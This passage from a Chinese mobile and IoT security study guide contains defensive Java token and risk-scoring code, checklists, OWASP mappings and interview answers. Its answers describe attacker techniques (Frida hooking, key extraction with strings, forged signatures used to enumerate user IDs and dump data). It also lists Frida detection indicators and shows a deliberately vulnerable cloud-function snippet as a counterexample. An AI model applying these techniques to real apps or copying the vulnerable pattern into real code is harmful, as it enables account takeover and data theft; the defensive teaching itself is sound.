level = RiskLevel.LOW;
} else {
level = RiskLevel.NORMAL;
}
// 记录
deviceRepo.saveOrUpdate(deviceId, signals, score, level);
return new RiskScore(deviceId, score, level, reasons);
}
/**
* ★ 根据风险等级决定"能做什么"
*/
public boolean allowSensitiveOperation(String deviceId, String operation) {
RiskScore risk = deviceRepo.getLatestScore(deviceId);
return switch (risk.level()) {
case NORMAL -> true; // 正常,放行
case LOW -> !isHighRiskOp(operation); // 低风险:非高危操作放行
case MEDIUM -> requiresChallenge(operation); // 中风险:需要验证码
case HIGH -> false; // 高风险:直接拒绝
};
}
private boolean isHighRiskOp(String op) {
return Set.of("TRANSFER", "PAY", "WITHDRAW",
"CHANGE_PASSWORD", "BIND_CARD").contains(op);
}
public enum RiskLevel { NORMAL, LOW, MEDIUM, HIGH }
public record RiskScore(String deviceId, int score,
RiskLevel level, List<String> reasons) {}
}
4.7.4 Token 安全设计(移动端)
/**
* ✅ 移动端 Token 设计要点
*/
@Service
public class MobileTokenService {
/**
* ★ Access Token 设计
*/
public String generateAccessToken(User user, String deviceId) {
return Jwts.builder()
.subject(user.getId())
// ★ ① 短过期(2 小时)
.expiration(Date.from(Instant.now().plus(Duration.ofHours(2))))
// ★ ② 绑定设备(换设备失效)
.claim("deviceId", deviceId)
// ★ ③ 版本号(用于批量吊销)
.claim("tokenVersion", user.getTokenVersion())
// ★ ④ 限制 audience(防止 token 被拿去调别的服务)
.audience().add("mobile-api").and()
.issuer("example.com")
// ★ ⑤ 唯一 jti(可用于单个吊销)
.id(UUID.randomUUID().toString())
.signWith(key)
.compact();
}
/**
* ★ Refresh Token 设计
*/
public String generateRefreshToken(User user, String deviceId) {
String token = generateRandomToken(32);
// ★ 存 Redis(不存数据库,减少压力),30 天
redis.opsForValue().set(
"refresh:" + user.getId() + ":" + deviceId,
hashToken(token), // ★ 存哈希,不存明文
30, TimeUnit.DAYS);
return token;
}
/**
* ★ 刷新 Token(★ 关键:Refresh Token 【一次性】,用完立即轮换)
*/
public TokenPair refresh(String refreshToken, String deviceId) {
// ① 解析 refresh token 拿到 userId
String userId = parseRefreshToken(refreshToken);
// ② 从 Redis 取
String key = "refresh:" + userId + ":" + deviceId;
String storedHash = redis.opsForValue().get(key);
if (storedHash == null) {
throw new BusinessException("登录已过期,请重新登录");
}
// ③ 常量时间比对
if (!MessageDigest.isEqual(
storedHash.getBytes(),
hashToken(refreshToken).getBytes())) {
// ★★ 检测 Refresh Token 重用攻击
log.error("[安全] Refresh Token 不匹配,疑似被盗用 userId={} deviceId={}",
userId, deviceId);
// ★★ 立即吊销该用户的所有 token(因为可能已经被盗)
revokeAllTokens(userId);
alertService.send("Refresh Token 重用攻击", userId);
throw new BusinessException("登录状态异常,请重新登录");
}
// ④ ★★ 立即删除旧的(一次性)
redis.delete(key);
// ⑤ 生成新的 token pair(★ 轮换)
User user = userService.findById(userId);
String newAccess = generateAccessToken(user, deviceId);
String newRefresh = generateRefreshToken(user, deviceId);
return new TokenPair(newAccess, newRefresh);
}
/**
* ★ 吊销用户的所有 Token(改密码、发现异常时调用)
*/
public void revokeAllTokens(String userId) {
// 方式 1:改 tokenVersion(★ 最简单有效,所有旧 token 立即失效)
userService.incrementTokenVersion(userId);
// 方式 2:删除所有 refresh token
Set<String> keys = redis.keys("refresh:" + userId + ":*");
if (keys != null && !keys.isEmpty()) {
redis.delete(keys);
}
// 方式 3:把 access token 加入黑名单(如果用了无状态 JWT,需要这个)
// 但更推荐方式 1(改版本号),因为不需要存黑名单
}
}
4.7.5 移动端接口安全 Checklist
| # | 检查项 | 优先级 |
|---|---|---|
| 1 | 所有接口都要鉴权(不能有任何“匿名可访问”的业务接口) | ★★★ |
| 2 | 对象级授权(BOLA)—— 签名不能替代 | ★★★ |
| 3 | 接口签名(timestamp + nonce + sign) | ★★ |
| 4 | 签名密钥动态下发,不硬编码 | ★★ |
| 5 | 防重放:时间戳窗口(±5 分钟)+ nonce 一次性(Redis) | ★★★ |
| 6 | 签名比对用常量时间(MessageDigest.isEqual) | ★★ |
| 7 | 签名失败计数 + 设备封禁 | ★★ |
| 8 | Token 短过期(2h)+ Refresh Token 一次性轮换 | ★★★ |
| 9 | Token 绑定设备 | ★★ |
| 10 | 改密码/发现异常 → 立即吊销所有 Token | ★★★ |
| 11 | 设备指纹 + 风险评分 + 分级管控 | ★★★ |
| 12 | 敏感操作二次验证(密码 / 短信 / 生物识别) | ★★★ |
| 13 | 按设备 + 用户 + IP 多维度限流 | ★★★ |
| 14 | 敏感操作的完整审计日志 | ★★ |
4.8 OWASP MASVS 与 Mobile Top 10 对照
4.8.1 OWASP Mobile Top 10 (2024) 与本章对照
| # | 风险 | 对应本章节 | 核心防护 |
|---|---|---|---|
| M1 | 凭据使用不当(Improper Credential Usage) | 4.3、4.5、4.7.4 | 密钥不硬编码、用 Keystore/Keychain、Token 短过期 |
| M2 | 供应链安全不足(Inadequate Supply Chain Security) | 见第九章 | SDK 来源校验、依赖扫描 |
| M3 | 认证授权失效(Insecure Authentication/Authorization) | 4.7.2、第二章 | BOLA 校验、Token 设计、服务端重做校验 |
| M4 | 输入/输出验证不足(Insufficient Input/Output Validation) | 4.2.6(WebView) | WebView 白名单、注入防护 |
| M5 | 通信安全不足(Insecure Communication) | 4.3.4、4.5.4 | 证书绑定、ATS、禁明文 |
| M6 | 隐私控制不足(Inadequate Privacy Controls) | 4.3.1 | 数据最小化、脱敏、权限申请最小化 |
| M7 | 二进制防护不足(Insufficient Binary Protections) | 4.4 | 混淆、加壳、反调试、完整性校验 |
| M8 | 安全配置错误(Security Misconfiguration) | 4.2、4.3.2 | exported=false、allowBackup=false、debuggable=false |
| M9 | 数据存储不安全(Insecure Data Storage) | 4.3.3 | EncryptedSharedPreferences、Keystore、SQLCipher |
| M10 | 加密使用不足(Insufficient Cryptography) | 4.3.3 | AES-GCM、Keystore、不用 ECB/MD5 |
4.8.2 MASVS 安全等级(★ 面试加分)
MASVS(Mobile Application Security Verification Standard) 是 OWASP 的移动端安全验证标准,分三个等级:
| 等级 | 名称 | 适用 | 要求 |
|---|---|---|---|
| MASVS-L1 | 标准安全 | 所有移动应用 | 基本安全:安全存储、安全通信、认证授权、代码质量 |
| MASVS-L2 | 深度防御 | 金融、医疗、政务 | L1 + 证书绑定、防逆向、防篡改、RASP、强认证 |
| MASVS-R | 弹性(Resilience) | 高价值目标 | L2 + 高级反逆向、白盒加密、硬件级防护 |
★ 记忆口诀:
L1 = 基本功(存储和传输加密) L2 = 加防护(证书绑定 + 加固 + 反调试) R = 拼极限(白盒加密 + 硬件保护 + 持续对抗)
4.9 面试题 D 组:移动端与小程序安全(28 题)
4.9.1 基础题(1~10)
| # | 题目 | 难度 | 答案要点 |
|---|---|---|---|
| 1 | 移动端安全和 Web 安全最根本的区别是什么? | ⭐ | 客户端在攻击者手里 —— 代码可反编译、内存可改、函数可 Hook |
| 2 | 为什么“客户端的校验”不算安全控制? | ⭐⭐ | 能被 Hook 改返回值、能改内存、能重打包。校验必须服务端重做 |
| 3 | Android 有哪四大组件?exported 属性是什么意思? |
⭐ | Activity/Service/BroadcastReceiver/ContentProvider;exported 决定能否被其他 App 调用 |
| 4 | 什么是 allowBackup 漏洞? |
⭐⭐ | allowBackup=true(默认值)时,adb backup 可导出全部数据,不需要 Root |
| 5 | Android 的敏感数据应该存在哪? | ⭐⭐ | 用 EncryptedSharedPreferences;密钥用 Android Keystore;绝不存密码明文 |
| 6 | Android Keystore 和普通存储密钥的区别? | ⭐⭐⭐ | Keystore 密钥在硬件/TEE 里,取不出来,只能“请求它加解密” |
| 7 | 什么是证书绑定(Certificate Pinning)? | ⭐⭐ | 客户端内置服务端证书公钥哈希,只信任特定证书 → 防止用户装根证书抓包 |
| 8 | 证书绑定为什么要配备份 pin? | ⭐⭐⭐ | 证书续期/更换时,老版本 App 会全部无法联网(变砖),必须有备份 pin |
| 9 | iOS 的 Keychain 和 UserDefaults 有什么区别? | ⭐⭐ | Keychain 加密存储 + 系统保护,适合密码/Token;UserDefaults 明文 plist |
| 10 | 小程序的 AppSecret 为什么不能放客户端? | ⭐⭐⭐ | 解包就能看到;拿到后可伪造身份调微信接口、解密用户手机号 |
4.9.2 进阶题(11~20)
| # | 题目 | 难度 | 答案要点 |
|---|---|---|---|
| 11 | addJavascriptInterface 有什么风险?怎么安全使用? |
⭐⭐⭐ | JS 可调 Java 方法 = RCE(Android 4.2 以下无防护);必须 minSdk≥17 + 方法加 @JavascriptInterface + 只给可信页面 |
| 12 | WebView 有哪几个致命配置? | ⭐⭐⭐ | 三个 file 相关配置(AllowFileAccess / FromFileURLs / UniversalAccess);onReceivedSslError 里绝不能 proceed() |
| 13 | Deeplink 有什么风险?怎么防? | ⭐⭐⭐ | 可被劫持(多 App 注册同 scheme)、可绕过登录进内部页面、参数注入 WebView;用 AppLink(https + autoVerify)+ host 白名单 |
| 14 | Frida 能做什么?怎么检测? | ⭐⭐⭐ | Hook 任意函数改参数/返回值、绕过证书绑定和 Root 检测;检测:27042 端口、/proc/self/maps 找 frida、/proc/self/status 的 TracerPid |
| 15 | 客户端的接口签名能防住什么?防不住什么? | ⭐⭐⭐⭐ | 能防:参数篡改、重放(timestamp+nonce)、脚本小子;防不住:伪造(算法可逆)、越权(签名不证明权限) |
| 16 | 签名密钥硬编码在客户端有什么问题?怎么解决? | ⭐⭐⭐⭐ | 逆向 APK 用 strings 就能拿到;解决:服务端动态下发 + 绑定设备 + 定期轮换 |
| 17 | 混淆(ProGuard)能防住什么?防不住什么? | ⭐⭐⭐ | 能:类名方法名混淆、代码精简;不能:加密字符串(strings 照样看到密钥)、防 Hook、防重打包 |
| 18 | 检测到 Root / 越狱应该怎么处理? | ⭐⭐⭐⭐ | 不能本地“自杀”(易误伤、易被 Hook 绕过);应该上报服务端风控,由服务端限制敏感操作 |
| 19 | 什么是设备指纹?为什么需要它? | ⭐⭐⭐ | 多硬件/系统特征融合出的设备 ID;因为 IMEI/UDID/OAID 都不可靠(拿不到/可重置),用于识别薅羊毛和异常设备 |
| 20 | code2Session 为什么必须在服务端做? |
⭐⭐⭐⭐ | 需要 AppSecret(只能在服务端);返回的 session_key 能解密用户手机号,绝不能下发客户端 |
4.9.3 场景题(21~28,★★★ 高频)
| # | 题目 | 难度 |
|---|---|---|
| 21 | 我们的 App 被薅羊毛了,一批新注册用户领走了大量优惠券,怎么排查和防御? | ⭐⭐⭐⭐ |
| 22 | 有用户反馈“账号里的钱被转走了”,但他说没操作过。可能是什么原因? | ⭐⭐⭐⭐⭐ |
| 23 | 我们的接口做了签名,但还是被拖库了,为什么? | ⭐⭐⭐⭐ |
| 24 | 怎么设计一个“防重放”的接口? | ⭐⭐⭐ |
| 25 | 小程序云函数怎么防止越权? | ⭐⭐⭐⭐ |
| 26 | 从零设计一个金融 App 的安全方案,你会考虑哪些方面? | ⭐⭐⭐⭐⭐ |
| 27 | 客户端做了加壳加固,是不是就安全了?为什么? | ⭐⭐⭐⭐ |
| 28 | App 的本地数据加密了,但密钥也在 App 里,有意义吗? | ⭐⭐⭐⭐ |
场景题参考答案要点:
Q21(薅羊毛):
“排查: ① 看这批账号的设备指纹 —— 如果大量账号共用少数几个 deviceId,就是批量注册 ② 看 IP 段 —— 是否集中在机房 IP、代理 IP ③ 看注册时间间隔 —— 是不是几秒一个(脚本特征) ④ 看行为特征 —— 是否只领券不消费、路径完全一致 ⑤ 看设备风险信号 —— 是否 Root / 模拟器 / 多开
防御(分层): ① 注册环节:手机号实名 + 图形/滑块验证码 + 同一设备/IP 的注册频率限制 ② 领券环节:新账号限制(注册 24 小时内不能领大额券)、 设备维度限领(同一设备最多 N 张)、实名维度限领(同一身份证最多 1 张)、 人脸核身(大额券) ③ 使用环节:延迟发放(领券后不立即生效,观察 1 小时)、 风控评分(异常设备不发) ④ 事后:定期对账,识别异常账号并回收优惠券、封禁设备
★ 核心认知:防薅羊毛靠的是“设备指纹 + 多维限制 + 风控评分”, 不是靠客户端的加密和加固。客户端加固挡不住批量注册。“
Q22(钱被转走):
“可能的原因(按可能性排序): ① 接口 BOLA 越权 —— 攻击者改了请求参数里的 accountId,转的是别人的钱。 这是最常见的,和第二章的 BOLA 一模一样。 ② Token 被盗 —— 用户的 Token 泄露(Root 后读 SharedPreferences、 通过 adb backup 导出、中间人抓包),攻击者用它登录。 ③ 重放攻击 —— 转账请求被截获后重放,且没有 nonce 防护。 ④ 短信验证码被劫持 —— 验证码短信被木马读取(Android 的 READ_SMS 权限)。 ⑤ 设备被控 —— 用户手机中了木马,攻击者直接操作。
排查:看转账日志里的 deviceId、IP、时间, 和用户常用的是否一致 —— 如果 deviceId 是新的、IP 在异地,基本就是 Token 被盗。
防御: ① BOLA 校验(SQL 带 userId + 归属检查)← 最重要 ② Token 绑定设备(换设备要重新验证) ③ 大额转账二次验证(密码/指纹/人脸)+ 短信确认 ④ 转账 nonce 防重放 ⑤ 异常设备/IP 触发风控(要求人脸核身) ⑥ 全量审计日志 + 异常转账实时告警 + 延迟到账(可撤回窗口)“
Q23(有签名还是被拖库):
“因为签名不等于授权。
签名只能证明’这个请求是我的 App 发的、参数没被改过’, 证明不了’这个用户有权访问这个 userId 的数据’。
攻击者逆向拿到签名算法后(这是必然的,strings + jadx 就能拿到), 构造
{userId: 1}算出正确签名,服务端一验 —— 签名是对的,于是放行。 但如果服务端没做 BOLA 校验(这个 userId 是不是当前登录用户的), 攻击者就能遍历 userId 把全库拖走。★ 这就是 60% 移动端漏洞的根源: 团队觉得’我们做了签名,很安全’, 于是放松了服务端的授权校验 —— 虚假安全感。
正确的认知:
- 签名防的是篡改和重放
- 授权防的是越权
- 两个是不同的维度,都要做,不能互相替代
修复:Service 层 SQL 带 userId(
WHERE id = ? AND user_id = ?), 不匹配返回 404(不是 403,防存在性泄露)。 再加 ArchUnit 测试强制,以及监控’同一 Token 短时间访问大量不同 userId’。“
Q24(防重放设计):
“三层: ① 时间戳窗口:请求带
timestamp,服务端校验在 ±5 分钟内。 挡住’几天后重放旧请求’。 ② Nonce 一次性:请求带随机nonce(16 位), 服务端用 RedisSETNX记录,已存在就拒绝,TTL 设为窗口的 2 倍。 挡住’5 分钟内重放同一请求’。 ③ 业务幂等:对写操作(支付、下单),客户端生成唯一的requestId, 服务端用唯一索引或 Redis 保证同一 requestId 只处理一次。 ★ 这是最可靠的,因为它不依赖时间窗口。补充:
- 时间戳要和 nonce 一起参与签名(否则攻击者可以只改 timestamp)
- Redis 的 SETNX 和 EXPIRE 要原子(用
setIfAbsent(key, val, ttl))- 时间窗口不要太长(5 分钟够了),太长 nonce 存储压力大
- ★ 如果要防’毫秒级重放’,靠 nonce;如果防’几秒内的并发重复提交’,靠业务幂等“
Q25(小程序云函数越权):
“核心原则:用
cloud.getWXContext().OPENID,绝不用客户端传的 userId。因为 OPENID 是微信服务端注入到云函数上下文的,客户端伪造不了; 而客户端传的 userId 是参数,攻击者想传什么传什么。
具体做法: ① 云函数里
const { OPENID } = cloud.getWXContext(),用它查数据 ② 云数据库权限设为’仅创建者可读写’(doc._openid == auth.openid), 或者干脆设 false,全部读写走云函数 ③ 如果确实要查别人的数据(比如查看公开主页),要单独做权限判断 ④ 返回数据脱敏,不返回内部字段 ⑤ 敏感操作(改金额、提现)走自己的服务端,不要放云函数(审计和风控更好做)★ 反例:
exports.main = async (event) => { const { userId } = event; ... }这就是标准 BOLA,攻击者传别人的 userId 就能拿到别人的数据。“
Q26(金融 App 安全方案):
“分五个层面回答(体现体系化思维):
① 传输层:
- 强制 HTTPS(ATS / usesCleartextTraffic=false)
- 证书绑定(XML + OkHttp 双保险,配备份 pin)
- 金融级可考虑双向 TLS
- TLS 1.2+,禁用弱密码套件
② 存储层:
- Token/凭据用 EncryptedSharedPreferences / Keychain(ThisDeviceOnly + 生物识别)
- 密钥用 Android Keystore / Secure Enclave(硬件级)
- 敏感数据库用 SQLCipher
- 绝不存密码明文
- allowBackup=false、debuggable=false
③ 认证授权层:
- 双 Token(AccessToken 2h + RefreshToken 一次性轮换)
- Token 绑定设备
- 敏感操作二次验证(密码/指纹/人脸)
- 改密码/异常 → 吊销所有 Token
- ★★ 服务端 BOLA 校验(最重要)
④ 运行时防护:
- Root/越狱/模拟器/Hook 框架检测 → 上报风控
- 完整性校验(签名 + CRC)→ 上报风控
- 反调试
- 代码混淆 + 加壳 + 字符串加密
- 敏感页面截图防护、防截屏
⑤ 风控层(★ 最关键):
- 设备指纹 + 风险评分(Root/模拟器/多开/新设备/关联账号数)
- 分级管控:高风险禁止支付,中风险加验证码
- 行为分析:异常时间、异常 IP、异常金额
- 多维度限流(用户/设备/IP/卡号)
- 全量审计日志 + 实时告警
- 大额操作:延迟到账 + 人脸核身 + 人工复核
★ 最后补一句认知: 前四层都是’提高攻击成本’,第五层才是’让攻击者拿不到收益’。 攻击者是逐利的,没有收益他就不来了。 所以投入优先级应该是:风控 > 服务端校验 > 传输存储 > 客户端加固。“
Q27(加壳就安全了吗):
“不是。三个理由:
① 加壳只能提高逆向门槛,不能阻止逆向。 壳本身也是代码,只要有人愿意花时间,一定能脱壳。 加壳把’3 小时’变成’3 天’,但挡不住专业攻击者。
② 加壳防不住动态攻击。 Frida Hook 是在运行时改函数行为,跟代码有没有壳没关系 —— 攻击者不需要看懂你的代码,只需要 Hook
isVip()让它返回 true。③ 加壳防不住协议层的攻击。 攻击者抓包拿到接口后,直接用 Python 调,完全不需要理解 App 代码。 ★ 这是最常见的攻击路径,而加壳对它毫无作用。
所以正确的认知是:
- 加壳是’提高门槛’,挡住 90% 的脚本小子
- 真正的安全在服务端:BOLA 校验、风控、限流、业务规则
★ 一句话:加固决定’攻击者要花多久’,服务端决定’攻击者能拿到什么’。 后者才是根本。“
Q28(密钥也在 App 里,加密有意义吗):
“有意义,但要分情况:
有意义的情况: ① 防’顺手牵羊’:大部分数据泄露不是被专业攻击者盯上, 而是设备丢失、备份被导出、小白用户用工具翻文件。 加密能挡住这 90% 的场景。 ② 配合 Keystore:如果用 Android Keystore / Secure Enclave, 密钥根本不在 App 里(在硬件里,取不出来), 这时候加密是真正有效的。 ③ 提高成本:密钥藏在 so 里 + O-LLVM 混淆 + 反调试, 提取成本很高,挡住大部分攻击者。
没意义的情况: ① 密钥明文硬编码在 Java 代码里 —— strings 一条命令就出来了, 这种加密等于没加密(自己骗自己)。 ② 保护高价值数据 —— 如果攻击者愿意花几天逆向,一定能拿到。
★ 正确做法:
- 密钥放 Android Keystore / Secure Enclave(硬件级,取不出来)
- 如果必须固定密钥(比如离线数据解密),用白盒加密(密钥融化进算法)
- 密码连加密都不存(用完即弃)
- 真正敏感的数据(身份证、银行卡)根本不该存在客户端
- 需要时从服务端拉,用完清内存
一句话:加密有意义,但前提是你得用对方式。 硬编码密钥的加密是自欺欺人,Keystore 的加密是真防护。“
4.9.4 高频连环追问链
追问链 1(客户端校验):
"App 里做了余额校验,够吗?"
→ "不够。攻击者 Hook 掉 getBalance() 让它返回 999999,
或者直接用 curl 调接口,根本不走你的 App"
→ "那怎么办?"
→ "服务端重做所有校验"
→ "服务端怎么判断'这是不是我的 App 发的'?"
→ "判断不了,也不该指望判断。签名只能提高门槛。
真正要保证的是:无论谁发请求,授权校验都必须做"
→ "所以签名还有必要吗?"
→ "有。防参数篡改、防重放、挡住脚本小子。
但要清楚它防不住什么。"
追问链 2(加固效果):
"你们 App 做了加固吗?"
→ "做了混淆和加壳"
→ "那能防住 Frida Hook 吗?"
→ "防不住。Hook 是运行时改函数行为,跟代码有没有壳没关系"
→ "那加固还有什么意义?"
→ "提高门槛。把逆向成本从 3 小时提到 3 天,
挡住 90% 的脚本小子和自动化工具。
专业攻击者挡不住,但他们会去挑软柿子"
→ "那专业攻击者怎么办?"
→ "靠服务端风控:设备指纹识别异常设备、
行为分析识别批量操作、业务规则限制收益。
★ 让攻击者'拿到了也没用'才是根本"
追问链 3(小程序):
"小程序和原生 App 安全上有什么不同?"
→ "小程序代码在服务器端,用户改不了,这比原生安全"
→ "那小程序就安全了吗?"
→ "不是。小程序包可以解包,源码(JS)几乎原样能看到"
→ "那会泄露什么?"
→ "接口地址、签名算法,最致命的是【硬编码的 AppSecret】"
→ "AppSecret 泄露有什么后果?"
→ "可以调 code2Session 拿 session_key,
session_key 能解密用户的加密数据(手机号)"
→ "怎么防?"
→ "所有 Secret 只放服务端,
code2Session 和解密都在服务端做,
小程序端零密钥"
追问链 4(越权):
"移动端怎么防越权?"
→ "服务端 BOLA 校验"
→ "我们有接口签名,能防住吗?"
→ "防不住。签名证明'是 App 发的',不证明'有权看这个数据'"
→ "那签名的作用是什么?"
→ "防篡改、防重放、提高门槛"
→ "所以两个都要做?"
→ "对。签名是完整性保护,授权是访问控制,
两个维度,都要有,不能互相替代"
4.10 第四章小结
4.10.1 核心认知五条
┌────────────────────────────────────────────────────────────────┐
│ ① 客户端不可信 —— 这是移动安全的【第一原理】 │
│ 代码能反编译、内存能改、函数能 Hook、流量能抓。 │
│ ★ 推论:客户端的所有校验都只是"用户体验",不是"安全控制"。 │
│ 所有校验必须在服务端【重做一遍】。 │
├────────────────────────────────────────────────────────────────┤
│ ② 移动端 60% 的漏洞其实是【接口漏洞】 │
│ BOLA / BOPLA / 认证失效 —— 第二章的内容一个都不少。 │
│ 而且更危险:原生请求没有 Referer/Origin, │
│ 网关和 WAF 更难识别,监控和限流往往也更松。 │
│ ★ 所以移动端安全的优先级:接口安全 > 本地存储 > 组件暴露 │
│ > 运行时防护 > 代码加固 │
├────────────────────────────────────────────────────────────────┤
│ ③ App 里没有任何"秘密" │
│ 硬编码的密钥、API Key、签名算法,strings 一条命令就出来。 │
│ ★ 解决:密钥用 Keystore(硬件级,取不出来) │
│ 签名密钥服务端动态下发 + 绑定设备 + 定期轮换 │
│ AppSecret 只在服务端 │
├────────────────────────────────────────────────────────────────┤
│ ④ 加固是"提高门槛",风控是"消除收益" │
│ 混淆/加壳/O-LLVM:把逆向从 3 小时变 3 天, │
│ 但【挡不住 Frida Hook】,更【挡不住直接用 curl 调接口】。 │
│ ★ 真正有效的是服务端:设备指纹 + 风险评分 + 分级管控 + │
│ 行为分析 + 业务规则。 │
│ ★ 一句话:加固决定"攻击者要花多久", │
│ 服务端决定"攻击者能拿到什么"。 │
├────────────────────────────────────────────────────────────────┤
│ ⑤ 检测到异常不要"本地自杀" │
│ Root / 越狱 / 调试 / 签名异常 —— 本地强退有两个问题: │
│ ① 误伤正常用户(开发者、极客) │
│ ② 一定能被 Hook 绕过(一行代码就让检测返回 false) │
│ ★ 正确做法:作为【风控信号】上报服务端, │
│ 由服务端决定"这个设备能做什么"。 │
│ 决策在服务端,客户端改不了 —— 这才是真防护。 │
└────────────────────────────────────────────────────────────────┘
4.10.2 一句话记忆法
Web:用户输入不可信 移动:客户端不可信(连代码都在攻击者手里) 小程序:代码在平台手里,但密钥不能在你手里(解包就能看)
4.10.3 三份“上线前必查”清单
Android 上线前(12 项):
☐ allowBackup="false"
☐ debuggable="false"
☐ usesCleartextTraffic="false"
☐ 所有组件显式声明 exported,不需要的全部 false
☐ networkSecurityConfig:只信任 system 证书
☐ 证书绑定已配置(XML + OkHttp),且有备份 pin
☐ 敏感数据用 EncryptedSharedPreferences
☐ 密钥/证书用 Android Keystore,不硬编码
☐ 绝不存密码明文
☐ Release 开启 minifyEnabled,移除 Log.d/v/i
☐ WebView 三个 file 配置全 false + onReceivedSslError 不 proceed
☐ 接口签名密钥动态下发(不硬编码)
iOS 上线前(8 项):
☐ 敏感数据用 Keychain(ThisDeviceOnly / 生物识别保护)
☐ UserDefaults 里没有任何敏感信息
☐ ATS 保持默认开启(不要 NSAllowsArbitraryLoads=true)
☐ 证书绑定已配置(URLSessionDelegate)
☐ Release 关闭 print 日志
☐ URL Scheme 改用 Universal Links
☐ 敏感页面截图防护
☐ 敏感输入关闭键盘缓存(autocorrectionType = .no)
小程序上线前(8 项):
☐ AppSecret 绝不在小程序端(只在服务端)
☐ 所有第三方 Secret 不放小程序端
☐ code2Session 在服务端做
☐ session_key 绝不下发
☐ 云数据库权限:仅创建者可读写,或 false + 云函数
☐ 云函数用 cloud.getWXContext().OPENID
☐ 签名密钥动态下发
☐ 本地 Storage 不存敏感数据
★ 通用铁律(三条,背下来):
① 所有客户端校验,服务端必须重做一遍
② 签名防篡改,授权防越权 —— 两个维度,都要做
③ 检测到异常上报风控,不要本地自杀
第五章:实时通信与 IoT 协议安全(长连接与物理世界)
本章定位:前四章讲的都是“请求-响应”模型——客户端问一句,服务端答一句,答完就散。 第五章开始讲长连接:连上就不挂,服务端能主动推,设备能一直在线。
长连接一上,前面所有的安全假设全部失效:
- WAF 失效:它只认 HTTP 请求,WebSocket 握手完就变成另一套协议,后面的帧它看不懂
- 限流失效:限流按“请求数”算,一条 WebSocket 连接是 1 个请求,但里面能塞 100 万条消息
- 网关鉴权失效:只在握手那一刻鉴权,后面几小时的消息全默认可信
- 日志失效:传统访问日志记的是“GET /api/x 200”,长连接里什么都没记
更狠的是 IoT:这一章后半部分的漏洞,不是丢数据,是能让工厂停机、让电梯卡住、让门禁打开。
本文档名词速查(第五章涉及)
生僻名词在正文首次出现时都有「白话解释 + 生活类比」,这里先列出来方便回查。
| 名词 | 白话解释 | 出处 |
|---|---|---|
| 长连接 | 连上就不挂断的通道,双方随时能说话,不用每次重新握手 | 5.1.1 |
| 全双工 / 半双工 | 全双工=打电话(两边能同时说);半双工=对讲机(同一时刻只有一边能说) | 5.1.1 |
| WebSocket | 浏览器和服务器之间的“电话线”,握手后双向随时发 | 5.2.1 |
| Upgrade 握手 | 用 HTTP 打个招呼,然后说“我们换 WebSocket 协议吧” | 5.2.1 |
| 帧(Frame) | WebSocket 传输的最小单位,一条大消息会被切成很多帧 | 5.2.2 |
| 掩码(Mask) | 客户端发给服务端的帧必须打乱,防止缓存投毒 | 5.2.2 |
| CSWSH | 跨站 WebSocket 劫持,恶意网页冒用你的身份连 WebSocket | 3.8 / 5.2.4 |
| SSE | 服务端单向推送(只能服务端→浏览器),基于普通 HTTP | 5.3.1 |
| EventSource | 浏览器里收 SSE 的 API,不能自定义请求头 | 5.3.2 |
| WebRTC | 浏览器之间直接音视频/数据直连(P2P),不经过服务器 | 5.4.1 |
| STUN | 帮你查“我在公网上的地址是什么”的服务 | 5.4.2 |
| TURN | 直连失败时帮忙中转的服务器(流量全过它) | 5.4.2 |
| ICE | 收集所有可能的连接方式,逐个试,选出能通的那个 | 5.4.2 |
| DTLS-SRTP | WebRTC 的加密组合:DTLS 管密钥协商,SRTP 管媒体加密 | 5.4.5 |
| MQTT | 物联网最常用的消息协议,发布/订阅模式,极轻量 | 5.5.1 |
| Broker | MQTT 的消息中转站(邮局),所有消息都过它 | 5.5.1 |
| Topic | MQTT 的消息分类(像邮箱地址 factory/line1/temp) |
5.5.2 |
通配符 # / + |
# 匹配任意多层(所有邮件都给我),+ 匹配单层 |
5.5.3 |
| QoS | 消息送达质量保证:0 最多一次 / 1 至少一次 / 2 恰好一次 | 5.5.4 |
| 保留消息(Retained) | Broker 记住每个 Topic 的最后一条,新订阅者立刻收到 | 5.5.5 |
| LWT(遗愿消息) | 设备意外掉线时,Broker 替它发的最后一条消息 | 5.5.6 |
| $SYS | Broker 自己的系统主题,泄露客户端列表、版本、流量 | 5.5.7 |
| CoAP | 受限设备的“迷你 HTTP”,跑在 UDP 上 | 5.6.1 |
| DTLS | UDP 版的 TLS(因为 UDP 不能像 TCP 那样握手排序) | 5.6.2 |
| 放大反射攻击 | 伪造源 IP 发小包,服务器回大包,流量被放大几十倍 | 5.6.3 |
| Modbus | 工业设备的通信协议,1979 年的设计,明文、无认证 | 5.7.1 |
| 线圈 / 寄存器 | 工控设备的开关量(线圈)和数值(寄存器) | 5.7.2 |
| S7comm | 西门子 PLC 的私有协议,同样无认证 | 5.7.5 |
| OTA | 设备远程固件升级(手机系统更新就是 OTA) | 5.8.4 |
| 降级攻击 | 骗设备刷回有漏洞的旧版本固件 | 5.8.4 |
| UART / JTAG / SWD | 设备主板上的调试接口,接上就能拿到 shell | 5.8.2 |
5.1 先讲清楚:长连接为什么让安全体系集体失效
5.1.1 五个协议的定位与本质差异
一句话总览:
HTTP 是“写信”——你寄一封,对方回一封,信封上有地址、有内容、有回信地址,邮局(网关)能看懂、能检查、能拒绝。 WebSocket 是“打电话”——拨通一次,后面说什么邮局管不着,因为线路已经建立了。 MQTT 是“广播电台”——你调到某个频率(Topic)就能一直听,电台不知道谁在听。
五个协议定位表:
| 协议 | 传输层 | 通信方向 | 典型场景 | 默认加密 | 默认认证 | 一句话风险 |
|---|---|---|---|---|---|---|
| WebSocket | TCP | 全双工(双向同时) | 聊天、协同编辑、实时推送、行情 | 否(wss 才加密) | 无 | 握手后完全裸奔 |
| SSE | TCP(HTTP) | 半双工(只服务端→客户端) | 通知流、AI 打字机输出、进度条 | 依赖 HTTPS | 依赖 Cookie | 不能带自定义头,只能用 Cookie |
| WebRTC | UDP/TCP | 全双工 P2P | 视频会议、屏幕共享、文件直传 | 强制 DTLS | 信令层自己做 | 泄露内网 IP、TURN 被白嫖 |
| MQTT | TCP | 发布/订阅(经 Broker) | 物联网、车联网、工业采集 | 否(MQTTS 才加密) | 常见匿名 | # 订阅全部数据 |
| CoAP | UDP | 请求/响应 + Observe | 传感器、低功耗设备 | 否(DTLS 可选) | 无 | UDP 放大反射 DDoS |
为什么必须分开理解:
很多人的误区是“反正都是长连接,一回事”。实际上安全模型完全不同:
WebSocket / SSE: MQTT / CoAP:
客户端 ←──── 长连接 ────→ 服务端 设备 A ──→ Broker ←── 设备 B
身份在握手时确定一次 身份在 CONNNECT 时确定
消息 = 点对点 消息 = 广播(谁订阅谁收到)
